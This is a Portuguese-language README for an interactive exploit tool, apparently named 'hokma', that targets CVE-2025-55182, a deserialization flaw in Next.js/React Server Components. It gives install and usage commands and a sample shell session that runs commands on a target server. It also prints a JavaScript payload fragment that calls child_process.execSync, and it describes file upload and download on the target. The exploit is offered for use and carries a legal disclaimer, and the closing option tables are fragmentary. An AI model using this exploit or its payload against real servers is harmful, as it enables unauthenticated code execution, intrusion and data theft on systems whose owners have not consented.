
Exploit RCE interativo para CVE-2025-55182 direcionado à vulnerabilidade de desserialização de Server Components do Next.js/React. Possui detecção automática, execução de comandos, transferência de arquivos e um shell integrado com histórico e autocompletar.
Base utilizada de: https://github.com/Emiyelbarto/CVE-2025-55182-PoC Muito obrigado pela grande contribuição.
CVE-2025-55182 é uma vulnerabilidade de desserialização no Next.js/React Server Components que permite que atacantes remotos não autenticados executem código arbitrário nos servidores afetados. A vulnerabilidade decorre do manuseio inadequado de dados serializados nas React Server Actions.
requests# Clone o repositório
git clone https://github.com/yourusername/hokma.git
cd hokma
# Instale as dependências
pip install requests
# Torne o script executável (opcional)
chmod +x hokma.py
# Iniciar shell interativo
python hokma.py
# Verificar vulnerabilidade apenas
python hokma.py -u http://target.com --check
# Executar comando único
python hokma.py -u http://target.com -c "whoami"
help Show this help message
set URL <url> Set target URL
set ID <action_id> Set action ID (default: user-profile-action)
show Show current options
check [url] Check if target is vulnerable
exploit <command> Execute command on target
shell Start interactive command shell
test Run test commands (id, whoami, etc.)
upload <loc> <rem> Upload local file to target
download <rem> <loc> Download remote file (base64 encoded)
clear Clear screen
exit/quit Exit the shell
$ python hokma.py
____ _ ____ _ _ _
| _ \ ___ __ _ ___| |_ / ___|| |__ ___| | |
| |_) / _ \/ _` |/ __| __| \___ \| '_ \ / _ \ | |
| _ < __/ (_| | (__| |_ ___) | | | | __/ | |
|_| \_\___|\__,_|\___|\__| |____/|_| |_|\___|_|_|
React Server Components RCE Exploit (CVE-2025-55182)
Interactive Shell - Type 'help' for commands
hokma> set URL http://vulnerable-app.com
[+] URL set to: http://vulnerable-app.com
hokma> check
[*] Checking vulnerability on target: http://vulnerable-app.com...
[+] TARGET IS VULNERABLE!
hokma> exploit whoami
[*] Executing command: whoami
[*] Server responded with status: 200
--- COMMAND OUTPUT ---
www-data
----------------------
hokma> shell
[*] Starting reverse shell. Use 'exit' to return.
[*] Enter commands to execute on target:
cmd> pwd
[*] Executing command: pwd
--- COMMAND OUTPUT ---
/var/www/html
----------------------
cmd> exit
| Opção | Padrão | Descrição |
|---|---|---|
| URL do Alvo | Nenhum | URL da aplicação vulnerável |
| ID da Ação | user-profile-action | ID da Server Action a ser alvo |
A ferramenta envia uma requisição multipart especialmente criada que desencadeia uma falha em sistemas vulneráveis:
["$1:a:a"] com um objeto vazio {}child_process.execSync() para executar comandos do sistemaconst cmd = "COMMAND";
return import('child_process').then(cp => {
try {
const output = cp.execSync(cmd).toString();
return output;
} catch(e) {
return "Command Execution Failed: " + e.message;
}
});
AVISO LEGAL IMPORTANTE
Esta ferramenta destina-se a:
NÃO use esta ferramenta contra sistemas que você não possui ou não tem permissão explícita para testar. O acesso não autorizado a sistemas de computador é ilegal e antiético.
Os desenvolvedores não são responsáveis por qualquer uso indevido desta ferramenta. Os usuários devem cumprir todas as leis aplicáveis e obter a devida autorização antes de testar.
Requisitos do Alvo:
Limitações de Detecção:
Restrições de Exploração:
| Tempo limite |
| 3 segundos |
| Tempo limite de requisição |